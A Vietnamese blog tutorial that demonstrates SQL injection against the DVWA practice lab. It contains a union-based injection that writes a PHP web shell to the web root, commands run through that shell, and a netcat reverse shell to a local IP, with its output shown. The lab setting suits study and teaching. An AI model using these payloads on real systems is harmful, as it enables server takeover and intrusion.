• Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
AnonyViet
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC
No Result
View All Result
AnonyViet
No Result
View All Result

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell

Elyx13 by Elyx13
30/03/2022
in SQL Injection
Reading Time: 9 mins read
A A
0

Mục lục bài viết

  1. Tổng quan về SQL Injection
    1. Bước 1: Thăm dò mục tiêu
    2. Bước 2: Truy cập Shell và khai thác lệnh
    3. Bước 3: Dịch ngược Shell với Netcat

Một trong những mục tiêu cuối cùng của hack là chiếm quyền điều khiển và up shell để chạy các lệnh hệ thống và đạt mục tiêu hoặc mạng. SQL injection thường chỉ được liên kết với cơ sở dữ liệu và dữ liệu của chúng, nhưng nó thực sự có thể được sử dụng như một vectơ để chiếm shell. Trong bài này, chúng ta sẽ khai thác một lỗ hổng SQL injection đơn giản để thực thi các lệnh và cuối cùng dịch ngược shell trên máy chủ.

sql injection shell

Các bài viết liên quan

sql injection

SQL Injection là gì? Làm thế nào để ngăn chặn lỗ hổng SQL Injection

16/05/2021
code shell script

Cách viết Shell Script trong Linux/Unix

17/02/2021
Tool khai thác lỗi SQL Injection với SQLi Dumper v8.2 Full 8

Download SQLi Dumper v10.1 Full – Tool khai thác lỗi SQL Injection

11/02/2020 - Updated on 16/12/2020
SQLMap v1.2.9 - Công cụ khai thác lỗ hổng SQL Injection mạnh nhất 32

SQLMap v1.2.9 – Công cụ khai thác lỗ hổng SQL Injection mạnh nhất

11/09/2018 - Updated on 16/12/2020

Mình sẽ sử dụng DVWA, một máy ảo dễ bị tấn công và Kali Linux để thực hiện cuộc tấn công. Nếu bạn là người mới sử dụng Kali, bạn nên đọc bài này để biết cách thiết lập và bảo mật Kali, để đảm bảo hệ thống của bạn đã sẵn sàng cho mọi thứ.

Tổng quan về SQL Injection

SQL injection là một trong những lỗ hổng phổ biến nhất gặp phải trên web và cũng có thể là một trong những lỗ hổng nguy hiểm nhất. Những kẻ tấn công có thể tiêm các mã SQL độc hại vào để trích xuất thông tin nhạy cảm, sửa đổi hoặc phá hủy dữ liệu hiện có hoặc leo thang cuộc tấn công nhằm chiếm hữu máy chủ.

Có nhiều kiểu tiêm SQL khác nhau và các phương pháp tấn công khác nhau cho các hệ thống cơ sở dữ liệu khác nhau đang được sử dụng. Mặc dù kiểu tấn công này là một trong những kiểu tấn công dễ bắt đầu học nhất, nhưng bạn vẫn có thể mất vài năm để thành thạo SQL injection.

Bước 1: Thăm dò mục tiêu

Điều đầu tiên chúng ta cần làm là đăng nhập vào DVWA bằng thông tin đăng nhập mặc định, admin là tên người dùng và mật khẩu là password.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 25

Tiếp theo, chuyển đến tab “Security” ở bên trái và đặt mức bảo mật thành “low”. Điều này sẽ đảm bảo cuộc tấn công của chúng ta sẽ diễn ra suôn sẻ.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 26

Điều hướng đến trang “SQL Injection” để bắt đầu cuộc tấn công. Chúng ta có thể thấy rằng chức năng của trang là lấy ID người dùng và trả lại thông tin, trong trường hợp này là họ và tên.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 27

Mình  muốn xác minh rằng đầu vào này thực sự dễ bị tiêm SQL. Điều đầu tiên cần thử là chỉ cần nhập một dấu ngoặc kép duy nhất, điều này sẽ đóng câu lệnh nếu hệ thống thực sự dễ bị tấn công. Và khi mình làm như vậy thì hệ thống trả về lỗi, thậm chí còn cho chúng ta biết cụ thể rằng trang web đang sử dụng MySQL làm cơ sở dữ liệu. Tại thời điểm này, rất có thể chúng ta đã tìm thấy một điểm vào dễ bị tấn công.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 28

Điều tiếp theo chúng ta cần làm là liệt kê cơ sở dữ liệu và xác định số cột đang sử dụng. Điều này sẽ cho phép chúng ta khai thác một cách đáng tin cậy lỗ hổng dựa trên union chỉ trong một chút. Để hiểu rõ hơn, chúng ta hãy xem lệnh truy vấn sẽ trông như thế nào trong quá trình gửi đầu vào bình thường:

select first_name, surname from users where user_id='';

Đây có thể là truy vấn trên backend, với first_name và surname là các cột được chọn, tổng cộng là hai cột. Nhưng chúng ta cần biết chắc chắn để lỗ hổng này hoạt động. Chúng ta có thể sử dụng order by.

Mệnh đề này sẽ sắp xếp các kết quả của truy vấn theo các cột. Vì chúng ta khá chắc chắn rằng có ít nhất hai cột đang được sử dụng, nếu chúng ta sẽ sắp xếp theo thứ tự 1 hoặc 2, truy vấn sẽ thành công. Nhưng nếu chúng ta muốn order by 3 thì sao? Nếu chúng ta đúng, thì truy vấn này sẽ xuất hiện lỗi.

Gửi lần tiêm sau làm đầu vào, và nó sẽ dẫn đến lỗi. Dấu thăng được sử dụng ở đây để comment phần còn lại của truy vấn để nó không gây ra bất kỳ lỗi cú pháp bổ sung nào.

' order by 3 #

Các bạn có thể thấy rằng chúng ta thực sự gặp lỗi, vì vậy bây giờ mình biết chắc chắn rằng chỉ có hai cột đang được sử dụng.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 29

Bước 2: Truy cập Shell và khai thác lệnh

Bây giờ chúng ta đã có thêm một chút thông tin về cơ sở dữ liệu, chúng ta có thể sử dụng điều này làm lợi thế của mình để thực hiện việc tiêm SQL dựa trên union. Toán tử union được sử dụng trong SQL để kết hợp các kết quả của hai hoặc nhiều câu lệnh select, nhưng để nó hoạt động bình thường, các câu lệnh phải có cùng số cột. Đây là lý do tại sao chúng ta cần tìm hiểu backend sớm hơn.

Có rất nhiều điều chúng ta có thể làm với việc tiêm dựa trên union, nhưng trong bài này, chúng ta cần quan tâm đến việc tận dụng lỗ hổng này để chạy các lệnh hệ điều hành. Một trong những cách dễ nhất để thực hiện điều này là tải lên một shell PHP đơn giản để chuyển các lệnh của chúng ta qua.

Chúng ta cần xác định thư mục gốc của máy chủ web để tải shell. Tùy thuộc vào ứng dụng và loại máy chủ web đang sử dụng, thư mục gốc có thể khác nhau, đặc biệt nếu quản trị viên thay đổi vị trí mặc định hoặc có đủ quyền. Đối với mục đích của cuộc tấn công này, mình sẽ giả định rằng gốc web mặc định của Apache (/var/www/) đang được sử dụng với quyền ghi công khai. Thông tin về máy chủ web, bao gồm cả thư mục gốc, thường có thể được tìm thấy trong tệp “phpinfo.php”.

Chúng ta có thể sử dụng lệnh into outfile để ghi vào một tệp. Trong trường hợp này, chúng tasẽ chèn một tập lệnh PHP đơn giản để có thể chạy các lệnh hệ thống. Tập lệnh mà mình đặt tên là “cmd.php”, sẽ giống như sau:

<?php system($_GET["cmd"]); ?>

Bây giờ, chúng ta sẽ thực hiện tiêm (injection). Chúng ta sẽ cần sử dụng dấu ngoặc kép trong tập lệnh vì chúng ta cần đặt phần thứ hai của câu lệnh trong dấu nháy đơn – điều này sẽ tránh được lỗi cú pháp. Lệnh tiêm hoàn chỉnh sẽ giống như sau:

' union select 1, '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/dvwa/cmd.php' #

Nếu lệnh này hoạt động bình thường, chúng ta sẽ có thể truy cập shell của mình thông qua URL và bằng cách cung cấp lệnh hệ thống dưới dạng tham số. Ví dụ, whoami sẽ cung cấp cho chúng ta thông tin người dùng hiện tại.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 30

Hoặc uname -a, sẽ cung cấp cho chúng ta thông tin về hệ thống.

Sử dụng SQL Injection để chạy lệnh và chiếm quyền Shell 31

Nhưng việc cung cấp tất cả các lệnh này thông qua tham số URL là một việc rất chán. Chúng ta có thể tận dụng việc này để đảo ngược shell và tiến xa hơn một bước.

Bước 3: Dịch ngược Shell với Netcat

Netcat là một tiện ích mạng mạnh mẽ được sử dụng để khắc phục sự cố kết nối, nhưng nó thực sự có thể bị tin tặc sử dụng như một backdoor và như một phương pháp để chiếm quyền shell. Rất nhiều bản phân phối Linux được cài đặt tiện ích này theo mặc định, vì vậy nếu chúng ta có thể truy cập công cụ này thì game over.

Trước tiên, mình sẽ cần thiết lập trình lắng nghe trên máy cục bộ của chúng ta. Sử dụng lệnh nc cùng với -lvp để chỉ định nó lắng nghe và để đặt số cổng tương ứng.

nc -lvp 1234
listening on [any] 1234 ...

Tiếp theo, với tư cách là tham số cho shell PHP trong URL, hãy nhập lệnh sau. Nó yêu cầu máy chủ thực thi một shell (-e/bin/sh) và gửi nó trở lại máy cục bộ của chúng ta. Bạn cần đảm bảo sử dụng địa chỉ IP và cổng thích hợp.

nc 172.16.1.100 1234 -e /bin/sh

Hãy đợi một vài giây và chúng ta sẽ thấy trình nghe của chúng ta bắt được shell và mở một kết nối. Từ đây, chúng ta có thể chạy các lệnh như id, uname -a và ps.

connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 47643
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 4665 ?        00:00:00 apache2
 4669 ?        00:00:00 apache2
 4671 ?        00:00:00 apache2
 4673 ?        00:00:00 apache2
 4674 ?        00:00:00 apache2
 4803 ?        00:00:00 apache2
 4810 ?        00:00:00 apache2
 4914 ?        00:00:00 php
 4915 ?        00:00:00 sh
 4919 ?        00:00:00 ps

Giờ đây, chúng ta đã có đủ phương tiện để thực thi các lệnh trên máy chủ web từ terminal của chính chúng ta, tất cả đều xuất phát từ một lỗ hổng SQL injection đơn giản. Mình mong qua bài viết thực tế này sẽ giúp bạn tiếp thu nhiều kiến thức hơn.

Tags: shellsql injection
Previous Post

Tại sao Hacker thích dùng Kali Linux?

Next Post

Bản quyền Windows chỉ có 5.75$, Office giá 14.8$

Elyx13

Elyx13

Có người không dám bước vì sợ gãy chân, nhưng sợ gãy chân mà không dám bước đi thì khác nào chân đã gãy.

Related Posts

Tool khai thác lỗi SQL Injection với SQLi Dumper v8.2 Full 8
SQL Injection

Download SQLi Dumper v10.1 Full – Tool khai thác lỗi SQL Injection

11/02/2020 - Updated on 16/12/2020
SQLMap v1.2.9 - Công cụ khai thác lỗ hổng SQL Injection mạnh nhất 33
SQL Injection

SQLMap v1.2.9 – Công cụ khai thác lỗ hổng SQL Injection mạnh nhất

11/09/2018 - Updated on 16/12/2020
Hướng dẫn code kiểm tra lỗ hổng bảo mật Sql Injection với Python script và cách phòng chống. 9
SQL Injection

Hướng dẫn code kiểm tra lỗ hổng bảo mật Sql Injection với Python script và cách phòng chống.

21/06/2017 - Updated on 16/12/2020
SQLI Hunter v1.2 - Tự động tìm lỗi SQL Injection
SQL Injection

SQLI Hunter v1.2 – Tự động tìm lỗi SQL Injection

27/12/2015 - Updated on 16/12/2020
Dork SQL 2015
SQL Injection

Dork SQL 2015

21/12/2015 - Updated on 16/12/2020
Hướng dẫn sử dụng SQLMap 2
SQL Injection

Hướng dẫn sử dụng SQLMap

10/12/2015 - Updated on 16/12/2020
Next Post
keysoff ban quyen windows

Bản quyền Windows chỉ có 5.75$, Office giá 14.8$

guest
guest

Website này sử dụng Akismet để hạn chế spam. Tìm hiểu bình luận của bạn được duyệt như thế nào.

0 Comments
Inline Feedbacks
View all comments

Liên hệ Quảng Cáo

Lien he AnonyViet

Đối tác —

Fshare

Các bài mới

doi icon recycle bin hinh con meo

Cách đổi Icon Thùng rác thành hình con mèo hả mồm

26/05/2022
Cách mở khóa Bootloader trên điện thoại Xiaomi bằng Mi Unlock 34

Cách mở khóa Bootloader trên điện thoại Xiaomi bằng Mi Unlock

26/05/2022
5 Extension Chrome "mờ ám" bạn cần phải xóa ngay 35

5 Extension Chrome “mờ ám” bạn cần phải xóa ngay

25/05/2022
5 Website giúp bạn tìm chủ tài khoản Email là ai 36

5 Website giúp bạn tìm chủ tài khoản Email là ai

24/05/2022
godeal24

Giá bản quyền Windows 10 chỉ 5.71$, miễn phí nâng cấp lên Windows 11

23/05/2022

Ads

Giới thiệu

AnonyViet

AnonyViet

Nơi chia sẻ những kiến thức mà bạn chưa từng được học trên ghế nhà trường!

Chúng tôi sẵn sàng đón những ý kiến đóng góp, cũng như bài viết của các bạn gửi đến AnonyViet.

Hãy cùng AnonyViet xây dựng một cộng đồng CNTT lớn mạnh nhất!

Giới thiệu

AnonyViet là Website chia sẻ miễn phí tất cả các kiến thức về công nghệ thông tin. AnonyViet cung cấp mọi giải pháp về mạng máy tính, phần mềm, đồ họa và MMO.

Liên hệ

Email: anonyviet.com[@]gmail.com

1409 Hill Street #01-01A
Old Hill Street Police Station
Singapore 179369

 

Bản quyền: DMCA.com Protection Status

Bài viết mới

  • Cách đổi Icon Thùng rác thành hình con mèo hả mồm
  • Cách mở khóa Bootloader trên điện thoại Xiaomi bằng Mi Unlock
  • Cách thắng Game bắn cá
  • 5 Extension Chrome “mờ ám” bạn cần phải xóa ngay
  • 5 Website giúp bạn tìm chủ tài khoản Email là ai
  • Giá bản quyền Windows 10 chỉ 5.71$, miễn phí nâng cấp lên Windows 11

©2022 AnonyViet - Chúng tôi mang đến cho bạn những kiến thức bổ ích về Công nghệ. Google iwin888 Bing tải game iwin Github tải iwin apk Github tải win456 Youtube ku fun wikipedia 88vin reddit twin 567LIVE MMLive SP666 92lottery sun86 stackoverflow

No Result
View All Result
  • Tin tức
  • Network
    • Mạng cơ bản
    • Hyper-V
    • Linux
    • Windown Server 2012
  • Security
    • Basic Hacking
    • Deface
    • Kali Linux / Parrot
    • SQL Injection
  • Thủ thuật
    • Khóa Học Miễn Phí
    • Code
    • Mẹo Vặt Máy Tính
    • Facebook
    • Windows 7/8/10/11
    • Đồ Họa
    • Video
  • Software
    • Phần mềm máy tính
    • Phần mềm điện thoại
  • Tin học văn phòng
  • Kiến thức
  • MMO
    • Advertisers – Publishers
    • Affiliate Program
    • Kiếm tiền bằng điện thoại
    • Pay Per Click – PPC

©2022 AnonyViet - Chúng tôi mang đến cho bạn những kiến thức bổ ích về Công nghệ. Google iwin888 Bing tải game iwin Github tải iwin apk Github tải win456 Youtube ku fun wikipedia 88vin reddit twin 567LIVE MMLive SP666 92lottery sun86 stackoverflow

wpDiscuz
pixel